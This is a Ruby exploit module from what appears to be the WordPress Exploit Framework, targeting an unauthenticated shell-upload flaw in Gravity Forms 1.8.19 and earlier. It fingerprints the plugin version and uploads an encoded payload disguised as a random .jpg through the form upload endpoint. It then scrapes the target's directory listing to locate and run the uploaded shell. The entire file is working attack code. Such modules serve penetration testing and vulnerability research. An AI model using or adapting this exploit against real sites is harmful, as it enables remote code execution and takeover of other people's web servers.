# frozen_string_literal: true

class Wpxf::Exploit::GravityFormsV1819ShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'Gravity Forms <= 1.8.19 Unauthenticated Shell Upload',
      author: [
        'Sucuri.net', # Discovery and disclosure
        'rastating'   # WPXF module
      ],
      references: [
        ['WPVDB', '7820']
      ],
      date: 'Dec 08 2014'
    )

    register_option(
      IntegerOption.new(
        name: 'form_id',
        desc: 'A valid Gravity Forms form ID',
        default: 1,
        required: true
      )
    )
  end

  def check
    changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
    check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
  end

  def form_id
    normalized_option_value('form_id')
  end

  def uploader_url
    full_uri
  end

  def upload_request_params
    {
      'gf_page' => 'upload',
      'form_id' => form_id
    }
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('name', payload_name)
    builder.add_field('field_id', 1)
    builder.add_file_from_string('file', payload.encoded, "#{Utility::Text.rand_alpha(5)}.jpg")
    builder
  end

  def scrape_upload_folder
    emit_info 'Scraping target for the upload location...'
    uploads_url = normalize_uri(wordpress_url_uploads, 'gravity_forms')
    res = execute_get_request(url: uploads_url)

    unless res && res.code == 200
      emit_error 'The target appears to have directory listing disabled'
      emit_error "Code: #{res.code}", true
      return nil
    end

    name = res.body[/href="(#{form_id}\-[a-z0-9\/]+?)"/i, 1]
    emit_success "Found directory: #{name}"
    name
  end

  def validate_upload_result
    return false unless upload_result && upload_result.code == 200
    res = JSON.parse(upload_result.body)

    if res['status'] == 'error'
      emit_error "Upload failed: #{res['error']['message']}"
      return false
    end

    true
  end

  def uploaded_payload_location
    directory = scrape_upload_folder
    return false unless directory
    normalize_uri(wordpress_url_uploads, 'gravity_forms', directory, 'tmp', "_input_#{form_id}_#{payload_name}")
  end
end
